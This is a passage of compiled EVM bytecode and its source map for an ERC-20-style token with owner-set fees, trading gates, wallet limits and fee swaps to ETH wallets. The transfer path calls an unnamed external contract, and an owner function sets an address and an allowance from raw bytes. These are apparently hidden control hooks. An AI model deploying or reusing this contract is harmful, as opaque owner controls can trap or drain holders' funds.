fffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000818361136f9190613115565b905092915050565b60008183611385919061343c565b905092915050565b6113988383836115e6565b6113a28383611757565b6113ad838383611854565b6113b8838383611a32565b6113c28383611b31565b6113cd838383611bfc565b6113d8838383611e3b565b61142a81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114798484611e64565b611483578161148f565b61148e848484611f12565b5b90506114e381600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115839190612d82565b60405180910390a350505050565b60008383111582906115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d09190612ac5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c906134e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb90613574565b60405180910390fd5b60008111611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe90613606565b60405180910390fd5b61171083610b5b565b811115611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613698565b60405180910390fd5b505050565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117fb5750600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561185057600a60149054906101000a900460ff1661184f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184690613704565b60405180910390fd5b5b5050565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119525750601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a2d57611999610ceb565b6119eb82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b1115611a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2390613770565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b2c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166333303b628484846040518463ffffffff1660e01b8152600401611ae793929190613790565b6020604051808303816000875af1158015611b06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2a91906137dc565b505b505050565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611bd85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bf857600160146000828254611bf09190613809565b925050819055505b5050565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611d4457611c596108dd565b81111580611cb05750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d045750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3a90613889565b60405180910390fd5b5b611d4c610d14565b81111580611da35750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611df75750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2d90613889565b60405180910390fd5b505050565b611e468383836120d0565b15611e5f57611e5660175461220a565b60006014819055505b505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f0a5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611f1f8585612477565b11156120af576000611f57611f348686612477565b611f496012548661108090919063ffffffff16565b61136190919063ffffffff16565b9050611fab81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161204b9190612d82565b60405180910390a36000600e541115612094576120933061dead61208e600e546120806012548961108090919063ffffffff16565b61136190919063ffffffff16565b61138d565b5b6120a7818461137790919063ffffffff16565b9150506120b3565b8190505b9392505050565b600081836120c89190613809565b905092915050565b600080601854831015905060006017546120e930610b5b565b10159050601560009054906101000a900460ff161580156121165750601360009054906101000a900460ff165b801561212e5750600a60149054906101000a900460ff165b80156121375750815b801561218d5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121e65750601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156121f6575060165460145410155b80156121ff5750805b925050509392505050565b6001601560006101000a81548160ff0219169083151502179055506000612278600261226a600d5461225c600c5461224e6001600b546120ba90919063ffffffff16565b6120ba90919063ffffffff16565b6120ba90919063ffffffff16565b61136190919063ffffffff16565b905060006122a382612295600b548661136190919063ffffffff16565b61108090919063ffffffff16565b905060006122ba828561137790919063ffffffff16565b905060004790506122ca82612606565b60006122df824761137790919063ffffffff16565b9050600061230a6122fb600b548861137790919063ffffffff16565b8361108090919063ffffffff16565b90506000612323600b548361136190919063ffffffff16565b90506000811115612339576123388682612849565b5b6000612363600c5461235560028661136190919063ffffffff16565b61136190919063ffffffff16565b905060008111156123d857601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123d6573d6000803e3d6000fd5b505b6000479050600081111561245057601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561244e573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061251a5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561253c57612535606460125461137790919063ffffffff16565b9050612600565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361259b576010549050612600565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125fa57600f549050612600565b60115490505b92915050565b6000600267ffffffffffffffff81111561262357612622612bc5565b5b6040519080825280602002602001820160405280156126515781602001602082028036833780820191505090505b5090503081600081518110612669576126686138a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612710573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061273491906138ed565b81600181518110612748576127476138a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127af30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611096565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612813959493929190613a13565b600060405180830381600087803b15801561282d57600080fd5b505af1158015612841573d6000803e3d6000fd5b505050505050565b61287630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611096565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016128ff96959493929190613a6d565b60606040518083038185885af115801561291d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906129429190613ae3565b5050505050565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b6129708161295d565b811461297b57600080fd5b50565b60008135905061298d81612967565b92915050565b600080600080600080600060e0888a0312156129b2576129b1612953565b5b60006129c08a828b0161297e565b97505060206129d18a828b0161297e565b96505060406129e28a828b0161297e565b95505060606129f38a828b0161297e565b9450506080612a048a828b0161297e565b93505060a0612a158a828b0161297e565b92505060c0612a268a828b0161297e565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a6f578082015181840152602081019050612a54565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a9782612a35565b612aa18185612a40565b9350612ab1818560208601612a51565b612aba81612a7b565b840191505092915050565b60006020820190508181036000830152612adf8184612a8c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b1282612ae7565b9050919050565b612b2281612b07565b8114612b2d57600080fd5b50565b600081359050612b3f81612b19565b92915050565b60008060408385031215612b5c57612b5b612953565b5b6000612b6a85828601612b30565b9250506020612b7b8582860161297e565b9150509250929050565b60008115159050919050565b612b9a81612b85565b82525050565b6000602082019050612bb56000830184612b91565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bfd82612a7b565b810181811067ffffffffffffffff82111715612c1c57612c1b612bc5565b5b80604052505050565b6000612c2f612949565b9050612c3b8282612bf4565b919050565b600067ffffffffffffffff821115612c5b57612c5a612bc5565b5b612c6482612a7b565b9050602081019050919050565b82818337600083830152505050565b6000612c93612c8e84612c40565b612c25565b905082815260208101848484011115612caf57612cae612bc0565b5b612cba848285612c71565b509392505050565b600082601f830112612cd757612cd6612bbb565b5b8135612ce7848260208601612c80565b91505092915050565b60008060008060808587031215612d0a57612d09612953565b5b6000612d188782880161297e565b9450506020612d298782880161297e565b9350506040612d3a8782880161297e565b925050606085013567ffffffffffffffff811115612d5b57612d5a612958565b5b612d6787828801612cc2565b91505092959194509250565b612d7c8161295d565b82525050565b6000602082019050612d976000830184612d73565b92915050565b600080600060608486031215612db657612db5612953565b5b6000612dc486828701612b30565b9350506020612dd586828701612b30565b9250506040612de68682870161297e565b9150509250925092565b600060208284031215612e0657612e05612953565b5b6000612e1484828501612b30565b91505092915050565b600060ff82169050919050565b612e3381612e1d565b82525050565b6000602082019050612e4e6000830184612e2a565b92915050565b612e5d81612b85565b8114612e6857600080fd5b50565b600081359050612e7a81612e54565b92915050565b60008060408385031215612e9757612e96612953565b5b6000612ea585828601612b30565b9250506020612eb685828601612e6b565b9150509250929050565b612ec981612b07565b82525050565b6000602082019050612ee46000830184612ec0565b92915050565b60008060408385031215612f0157612f00612953565b5b6000612f0f85828601612b30565b9250506020612f2085828601612b30565b9150509250929050565b600080600060608486031215612f4357612f42612953565b5b6000612f518682870161297e565b9350506020612f628682870161297e565b9250506040612f738682870161297e565b9150509250925092565b6000612f8882612ae7565b9050919050565b612f9881612f7d565b8114612fa357600080fd5b50565b600081359050612fb581612f8f565b92915050565b600060208284031215612fd157612fd0612953565b5b6000612fdf84828501612fa6565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061301e600683612a40565b915061302982612fe8565b602082019050919050565b6000602082019050818103600083015261304d81613011565b9050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b60006130b0602c83612a40565b91506130bb82613054565b604082019050919050565b600060208201905081810360008301526130df816130a3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006131208261295d565b915061312b8361295d565b92508282026131398161295d565b915082820484148315176131505761314f6130e6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131918261295d565b915061319c8361295d565b9250826131ac576131ab613157565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000613213602e83612a40565b915061321e826131b7565b604082019050919050565b6000602082019050818103600083015261324281613206565b9050919050565b6000819050919050565b600061326e61326961326484612ae7565b613249565b612ae7565b9050919050565b600061328082613253565b9050919050565b600061329282613275565b9050919050565b6132a281613287565b82525050565b60006020820190506132bd6000830184613299565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061331f602483612a40565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133b1602283612a40565b91506133bc82613355565b604082019050919050565b600060208201905081810360008301526133e0816133a4565b9050919050565b6000815190506133f681612f8f565b92915050565b6000806040838503121561341357613412612953565b5b6000613421858286016133e7565b9250506020613432858286016133e7565b9150509250929050565b60006134478261295d565b91506134528361295d565b925082820390508181111561346a576134696130e6565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134cc602583612a40565b91506134d782613470565b604082019050919050565b600060208201905081810360008301526134fb816134bf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061355e602383612a40565b915061356982613502565b604082019050919050565b6000602082019050818103600083015261358d81613551565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135f0602983612a40565b91506135fb82613594565b604082019050919050565b6000602082019050818103600083015261361f816135e3565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b6000613682603183612a40565b915061368d82613626565b604082019050919050565b600060208201905081810360008301526136b181613675565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006136ee600e83612a40565b91506136f9826136b8565b602082019050919050565b6000602082019050818103600083015261371d816136e1565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b600061375a601e83612a40565b915061376582613724565b602082019050919050565b600060208201905081810360008301526137898161374d565b9050919050565b60006060820190506137a56000830186612ec0565b6137b26020830185612ec0565b6137bf6040830184612d73565b949350505050565b6000815190506137d681612e54565b92915050565b6000602082840312156137f2576137f1612953565b5b6000613800848285016137c7565b91505092915050565b60006138148261295d565b915061381f8361295d565b9250828201905080821115613837576138366130e6565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000613873601183612a40565b915061387e8261383d565b602082019050919050565b600060208201905081810360008301526138a281613866565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506138e781612b19565b92915050565b60006020828403121561390357613902612953565b5b6000613911848285016138d8565b91505092915050565b6000819050919050565b600061393f61393a6139358461391a565b613249565b61295d565b9050919050565b61394f81613924565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61398a81612b07565b82525050565b600061399c8383613981565b60208301905092915050565b6000602082019050919050565b60006139c082613955565b6139ca8185613960565b93506139d583613971565b8060005b83811015613a065781516139ed8882613990565b97506139f8836139a8565b9250506001810190506139d9565b5085935050505092915050565b600060a082019050613a286000830188612d73565b613a356020830187613946565b8181036040830152613a4781866139b5565b9050613a566060830185612ec0565b613a636080830184612d73565b9695505050505050565b600060c082019050613a826000830189612ec0565b613a8f6020830188612d73565b613a9c6040830187613946565b613aa96060830186613946565b613ab66080830185612ec0565b613ac360a0830184612d73565b979650505050505050565b600081519050613add81612967565b92915050565b600080600060608486031215613afc57613afb612953565b5b6000613b0a86828701613ace565b9350506020613b1b86828701613ace565b9250506040613b2c86828701613ace565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005200a7bbcf8720618c9394ca1b7855b7ec9d5da481a13082b08ba62e2f0819764736f6c63430008130033

Deployed Bytecode Sourcemap

5037:12544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10497:527;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7357:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8477:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11212:634;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8616:132;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9179:119;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16924:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7580:67;;;;;;;;;;;;;:::i;:::-;;3119:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7507:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5668:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8363:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7737:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3329:108;;;;;;;;;;;;;:::i;:::-;;11033:171;;;;;;;;;;;;;:::i;:::-;;8940:114;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9060:113;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7653:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8258:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7430:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6240:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7846:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7991:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15361:315;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3212:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10497:527;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10688:10:::1;10673:12;:25;;;;10724:10;10709:12;:25;;;;10755:5;10745:7;:15;;;;10788:12;10771:14;:29;;;;10822:6;10811:8;:17;;;;10849:5;10839:7;:15;;;;10879:6;10865:11;:20;;;;10916:18;10932:1;10916:11;;:15;;:18;;;;:::i;:::-;10904:8;;:30;;:63;;;;;10949:18;10965:1;10949:11;;:15;;:18;;;;:::i;:::-;10938:7;;:29;;10904:63;10896:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;10497:527:::0;;;;;;;:::o;7357:67::-;7394:13;7417:5;;;;;;;;;;;;;;;;;7410:12;;7357:67;:::o;8477:133::-;8552:4;8559:37;8568:10;8580:7;8589:6;8559:8;:37::i;:::-;8604:4;8597:11;;8477:133;;;;:::o;11212:634::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11329:13:::1;11370:5;11362:4;11346:13;:11;:13::i;:::-;:20;;;;:::i;:::-;11345:30;;;;:::i;:::-;11329:46;;11386:19;11435:5;11425:6;11409:13;:11;:13::i;:::-;:22;;;;:::i;:::-;11408:32;;;;:::i;:::-;11386:54;;11451:17;11499:5;11488:7;11472:13;:11;:13::i;:::-;:23;;;;:::i;:::-;11471:33;;;;:::i;:::-;11451:53;;11537:4;11515:19;:26;;;;11574:6;11552:19;:28;;;;11611:7;11591:17;:27;;;;11629:22;11648:2;11629:18;:22::i;:::-;11662:13;11678:30;11703:4;11678:20;11696:1;11678:13;:11;:13::i;:::-;:17;;:20;;;;:::i;:::-;:24;;:30;;;;:::i;:::-;11662:46;;11736:5;11727;:14;;:38;;;;;11760:5;11745:11;:20;;11727:38;:60;;;;;11782:5;11769:9;:18;;11727:60;11719:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;11318:528;;;;11212:634:::0;;;;:::o;8616:132::-;8669:7;8686:60;8724:21;8742:1;8724:9;:21::i;:::-;8686:33;8703:15;6537:42;8703:9;:15::i;:::-;8686:12;;:16;;:33;;;;:::i;:::-;:37;;:60;;;;:::i;:::-;8679:67;;8616:132;:::o;9179:119::-;9230:7;9285:11;;9263:19;;9247:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9240:56;;9179:119;:::o;16924:309::-;17022:4;17039:36;17049:6;17057:9;17068:6;17039:9;:36::i;:::-;17086:117;17095:6;17103:10;17115:87;17151:6;17115:87;;;;;;;;;;;;;;;;;:11;:19;17127:6;17115:19;;;;;;;;;;;;;;;:31;17135:10;17115:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;17086:8;:117::i;:::-;17221:4;17214:11;;16924:309;;;;;:::o;7580:67::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;7641:4:::1;7624:14;;:21;;;;;;;;;;;;;;;;;;7580:67::o:0;3119:87::-;3174:4;3199:5;;;;;;;;;;;3188:16;;:7;:16;;;3181:23;;3119:87;;;:::o;7507:67::-;7548:5;5263:1;7556:16;;7507:67;:::o;5668:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8363:108::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;8461:8:::1;8437:11;:21;8449:8;8437:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;8363:108:::0;;:::o;7737:103::-;7803:7;7820:9;:18;7830:7;7820:18;;;;;;;;;;;;;;;;7813:25;;7737:103;;;:::o;3329:108::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;3400:1:::1;3384:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;3408:27;3429:5;::::0;::::1;;;;;;;;3408:27;;;;;;:::i;:::-;;;;;;;;3329:108::o:0;11033:171::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11117:5:::1;11095:19;:27;;;;11155:5;11133:19;:27;;;;11191:5;11171:17;:25;;;;11033:171::o:0;8940:114::-;8988:7;9041:11;;9021:17;;9005:13;:11;:13::i;:::-;:33;;;;:::i;:::-;:47;;;;:::i;:::-;8998:54;;8940:114;:::o;9060:113::-;9105:7;9160:11;;9138:19;;9122:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9115:56;;9060:113;:::o;7653:78::-;7705:7;7723:5;;;;;;;;;;;7716:12;;7653:78;:::o;8258:99::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;8347:8:::1;8329:5;:15;8335:8;8329:15;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;8258:99:::0;;:::o;7430:71::-;7469:13;7492:7;;;;;;;;;;;;;;;;;7485:14;;7430:71;:::o;6240:19::-;;;;;;;;;;;;;:::o;7846:139::-;7924:4;7931:40;7941:10;7953:9;7964:6;7931:9;:40::i;:::-;7979:4;7972:11;;7846:139;;;;:::o;7991:127::-;8072:7;8089:11;:18;8101:5;8089:18;;;;;;;;;;;;;;;:27;8108:7;8089:27;;;;;;;;;;;;;;;;8082:34;;7991:127;;;;:::o;15361:315::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;15503:11:::1;15490:10;:24;;;;15532:53;15577:6;15532:32;15549:14;15532:12;;:16;;:32;;;;:::i;:::-;:36;;:53;;;;:::i;:::-;15516:13;:69;;;;15614:54;15660:6;15614:33;15631:15;15614:12;;:16;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;15597:14;:71;;;;15361:315:::0;;;:::o;3212:111::-;3078:19;3086:10;3078:7;:19::i;:::-;3070:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;3286:3:::1;3278:5;::::0;:11:::1;;;;;;;;;;;;;;;;;;3296:25;3317:3;3296:25;;;;;;:::i;:::-;;;;;;;;3212:111:::0;:::o;481:82::-;539:7;560:1;556;:5;;;;:::i;:::-;549:12;;481:82;;;;:::o;17241:335::-;17351:1;17334:19;;:5;:19;;;17326:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17432:1;17413:21;;:7;:21;;;17405:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17514:6;17484:11;:18;17496:5;17484:18;;;;;;;;;;;;;;;:27;17503:7;17484:27;;;;;;;;;;;;;;;:36;;;;17552:7;17536:32;;17545:5;17536:32;;;17561:6;17536:32;;;;;;:::i;:::-;;;;;;;;17241:335;;;:::o;8754:180::-;8810:13;8824:15;8852:2;8841:32;;;;;;;;;;;;:::i;:::-;8809:64;;;;8882:7;8874:5;;:15;;;;;;;;;;;;;;;;;;8918:14;8890:11;:18;8902:5;8890:18;;;;;;;;;;;;;;;:27;8909:7;8890:27;;;;;;;;;;;;;;;:42;;;;8808:126;;8754:180;:::o;393:82::-;451:7;472:1;468;:5;;;;:::i;:::-;461:12;;393:82;;;;:::o;305:::-;363:7;384:1;380;:5;;;;:::i;:::-;373:12;;305:82;;;;:::o;9757:732::-;9846:37;9857:6;9865:9;9876:6;9846:10;:37::i;:::-;9894:38;9914:6;9922:9;9894:19;:38::i;:::-;9943:41;9958:6;9966:9;9977:6;9943:14;:41::i;:::-;9995:36;10005:6;10013:9;10024:6;9995:9;:36::i;:::-;10042:35;10059:6;10067:9;10042:16;:35::i;:::-;10088:39;10101:6;10109:9;10120:6;10088:12;:39::i;:::-;10139:35;10148:6;10156:9;10167:6;10139:8;:35::i;:::-;10205:29;10227:6;10205:9;:17;10215:6;10205:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;10185:9;:17;10195:6;10185:17;;;;;;;;;;;;;;;:49;;;;10245:22;10270:32;10284:6;10292:9;10270:13;:32::i;:::-;:78;;10342:6;10270:78;;;10305:34;10313:6;10321:9;10332:6;10305:7;:34::i;:::-;10270:78;10245:103;;10382:40;10407:14;10382:9;:20;10392:9;10382:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;10359:9;:20;10369:9;10359:20;;;;;;;;;;;;;;;:63;;;;10455:9;10438:43;;10447:6;10438:43;;;10466:14;10438:43;;;;;;:::i;:::-;;;;;;;;9835:654;9757:732;;;:::o;1518:162::-;1604:7;1647:1;1642;:6;;1650:12;1634:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1676:1;1672;:5;1665:12;;1518:162;;;;;:::o;9310:439::-;9432:1;9414:20;;:6;:20;;;9406:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9516:1;9495:23;;:9;:23;;;9487